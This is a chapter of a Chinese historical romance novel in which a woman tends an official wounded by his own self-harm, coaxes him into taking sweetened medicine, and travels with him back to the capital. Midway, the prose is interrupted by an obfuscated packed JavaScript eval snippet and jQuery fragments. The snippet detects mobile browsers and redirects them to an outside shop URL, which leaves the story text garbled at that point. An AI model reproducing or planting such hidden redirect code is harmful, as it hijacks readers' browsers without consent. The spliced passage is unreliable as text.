红日西沉,洒下一抹柔和的金色光晕,衬得铜洗内的水光都潋滟起来,卢知照第三次捧着面盆走进荆州府的稍房,床上的人依旧昏睡着。
他左臂上的划口没有得到及时的治疗,伤处皮肤糜烂,起了炎症,这几个时辰一直高烧不止,冷汗涔涔,连床下的被褥都被他的汗液淌湿了大半。
卢知照与翥黔忙了好一会儿才换好了被褥,又时不时给他擦拭、喂药,张霁的高烧这才退下去一些。
她遇事向来不习惯迁怒旁人,只是在此事上实在想不通,甚至有些埋怨张霁。
她倒想问他一问,他那么精明的人,难道会不知道划伤自己会有感染的风险?
杨文琼难得应下他们的请托,京都内形势也尚未可知,在这样的当口,一向冷静自恃的他却糊涂到做这样的事,难道伤害自己带来的快感比成功脱身的诱惑还大吗?
翥黔依旧在院里煎药,她守在床前,眼见着床上病者的双眉越皱越紧,记忆中她的父亲,也就是那个身无败绩的平昌王,平素也总爱这样皱着眉头。
说来他们还真是像的很,平昌王在发妻死后决意殉情已是京都广传的轶事,而张霁这个在朝堂上如虎如豹、同政敌撕咬从来不眨眼的柔佞权臣私下却也如此不把自己的性命当一回事。
她的父亲是为着那酸腐的爱情情愿丢掉自己的性命,张霁是为着什么呢?
恨意吗?
他究竟有多么不认可自己的存在才会在沉寂幽暗的午夜落下那一刀又一刀?
她伏在床板的外侧出神,视线内是他雪白里衣上沾染的点点红褐色血迹,她想起多日前那个诡谲的梦境。
那时她觉得离奇可怖,怎么会有人能毫不犹豫地将匕首扎入自己的心脏?
可如今看来,她身前就躺着这样的疯子。
多年前雪夜探访王府、与她高谈阔论的那个玉洁松贞的清朗君子,如今赤袍加身,面目全非。
这个朝堂原是吃人的吗?想要爬至高位就得用一颗赤子之心去换?
丢了心脏的人又要怎么活着?
一具行尸走肉罢了。
张霁袖口的圈圈血痕将卢知照的眼睛看得发酸,她的心似乎也被攥了一攥,抽搐之下充斥着百虫挠心的窒息感,回过神来才发觉自己已经泪流满面。
她突然不想问他了。
她不知道他经历过怎样的苦楚以至于会这般厌恶、凌虐自己,正如她当年不清楚父母之间那延年的情谊,以至于没有勇气歇斯底里地问那位平昌王一句,自杀前是否顾虑过她这个刚出生的女儿。
世人站在局外者的立场,自以为将他人看得清楚,殊不知各自有各自的晦暗与龃龉。可若是真正走进一个人,能感叹的怕是也只有天道幽茫,人为刍狗。
想的东西多了,好像反倒会没了态度,失去立场。
正如她如今望向他,便会止不住去想,二五年华,风姿绰约,若生于名门望族,说不准还是一位被亲族捧在手心的小公子,与多年前一样的清朗如风,一样的温润如玉。
可惜他不是,甚而将来有可能站在她的对立面。这样的人,她原是没有立场去怜悯的……
残阳没入西山,原先涌动的幽暗浮光业已褪了亮色,留下一地昏黄。
张霁周身寒痛彻骨,像是坠入了一汪深不见底的幽潭,他拼命呼求,脚下却像被数不清的水草纠缠着,生生将他往漩涡里拖拽。
快被深潭吞噬的关头,他眸底漆黑,呼吸近乎阻绝,却听见一道明快高亢的女声:“张大人今日歇息得早,还请诸位明日再来,到时一并将回京事宜敲定。翥黔,送客!”
那道熟悉的声音穿透薄墙,达至天灵,叫他识破了梦境,挣扎着自深潭脱身,睁开眼的那刻又是一阵刺痛迎上脑门。
他低呼一声,意识也随之清醒了些,脑海中第一时间浮现的片段竟是晕倒前卢知照惊诧的目色。
她看见了,定也知道了。
张霁心中悔意滋生、蔓延,近乎将他压得喘不过气,恨不能回去被她揭破的前一刻。
她如今会如何看他?会将他作另类看待吗?还是会讽他坏事做绝、该有此报?
紧闭的门扉“吱呀”一声,被人自屋外推开,卢知照捧着瓷碗正对上张霁的充溢着哀悔的眸子,她神情不变,眼底透着一丝喜色。
“您可终于醒了,刚刚我才打发走荆州府衙的小吏,约定明日上路,由您敲定回京的诸多事宜。”
她在床边搁下瓷碗,又絮絮叨叨说:“我瞧了杨文琼遣来的人,虽数目不多,但看得出来都是练家子,也方便我们继续伪作商队,顾谌确是个心思细腻、不容小觑的人物。”
张霁的视线随着她的动向飘移,意图从她的脸上窥出一些异样的情绪,可是什么也没有,她对待他如从前一般,嘴上一口一声“您”,言行却不见下位者的诚惶诚恐。
他应一声“知道了”,拿起瓷碗轻抿一口,明明是苦口的药,他喝了数来年的苦药,如今竟有丝丝缕缕的甜意漫在唇角。
他惊异地瞧她。
“是不是很甜?”卢知照浅笑着从袖口掏出一包油纸,捡出一两个蜜饯放在嘴里,“我可问了翥黔,加一两个进去对药效无碍的。”
张霁垂目饮尽,并不说话。
“记得在宫内的时候,与我在一处的小宫女偶染风寒,我也是这样哄她喝药的,太医署开的药简直让人张不开口,只是宫内不比宫外,那时蜜饯难得,得在小黄门那边花出去一大笔铜钱,他们才愿意捎给一些来。”
哄他喝药?
张霁睫翼微颤,眸底迷蒙的雾色消解,溢出几分灼灼的水光来。
卢知照把余下的蜜饯又小心包好,塞进袖里,抬眸看他:“蜜饯对张大人来讲又不是难得的物什,翥黔却说您平日喝药都是用不着蜜饯的,如此苦口的药为什么要难为自己硬喝下去,放几个蜜饯不是会好入口一些?”
那丝丝缕缕的甜在张霁的喉头绽开,眼前的女子开口比往日频繁,聊的却都是些家常话,声音轻快,还漾着星星点点的期希,明明像鹂鸟般悦耳,却搅得他脑袋嗡嗡作响
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044910|147129||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
他禁不住去想她的话。
他身子不好,常年离不开药罐,特别是入内阁之后。
良药苦口,他为什么不放蜜饯?
张霁苦思许久,不知道如何接话,唯恐一开口便搅了眼前人聊闲话的兴致,干脆敛目端坐着。
良久,他听见一道清浅的声音:“其实有时候……改换一下活着的法子,哪怕只是药里多了几分甜意,说不准……日子也能好过许多。”
卢知照说话一贯伶牙俐齿,这次却断断续续,劝慰里夹着几分哀怜与犹疑。
张霁闭着眼,听感被无限放大,卢知照俯身拿过了瓷碗,脚步渐远,又是“吱呀”一声,出了稍房。
他这才张目四顾,空荡的屋子里只一柄烛炬发出光亮,满屋的暮色冷得不像话。
他将她刚刚说出口的话翻出来慢慢咀嚼,头一次不觉得暮夜难捱。
“哪怕只是药里多了几分甜意,说不准……日子也能好过许多。”
她清楚自己在说什么,他也知道她在说什么,这就足够了。
-
翌日清晨,前来荆州府送离他们的是顾谌,杨文琼却没有跟着一起来。
顾谌为人风趣,笑说杨将军羞怯,应对不来这样送别的场面。
卢知照与张霁却清楚顾谌此举求的是什么,张霁没等这位一心为主的谋士开口,便主动应了他的求告。
只是言辞闪烁……
卢知照听得出来,顾谌自然也品得出来,但无论如何张霁应下的“提擢”总有着让他们难以抗拒的诱惑力。
马车驶离荆州府已近辰时,这一次终于驶向京都,他们离京已有四十余日,算上返京途中需要耽搁的日子,这趟差事最少也要足足两个月。
等到他们回了京都,三月半殿试已过,彼时朝中又将迎来一批鲜活的血液,流向哪个阵营却未可知。
张霁似读懂她心中所想,竟主动开口与她攀谈:“前几日会试业已放榜,位列榜首的是李玉章。”
卢知照诧异:“您先前说他才华惊绝,竟是好到这种程度吗?”
张霁唇角轻扯,似笑非笑:“你不替你的李兄欢喜?在京都时不是喊得亲热。”
卢知照觉察到他语气中的轻讽,也不计较,语调拉长:“惊奇有几分,但是被嫉妒盖过了。”
她又续道:“突然有些后悔,在都察院时只顾着查案,没多同李兄聊聊,平白丢了一个领略会元才情的机会。”
见张霁不再搭话,她又发问:“我们抵达京都时殿试应该刚过,张大人那时再运作怕是来不及,还是说您远在湖广,已经物色好了门生?”
“您如此关注李兄,难不成他就是您要寻的人?”
张霁并不诓她,语气淡淡:“他曾经有机会是,但偏偏卷入此案,又在我面前晃荡,惹我不喜。”
卢知照闻言无语,将脑袋探出车窗,暮春的风里携了几分热气,她心里也漫过一阵燥意。
就要回京都了。宫墙深深,再有机会出来也不知几时了。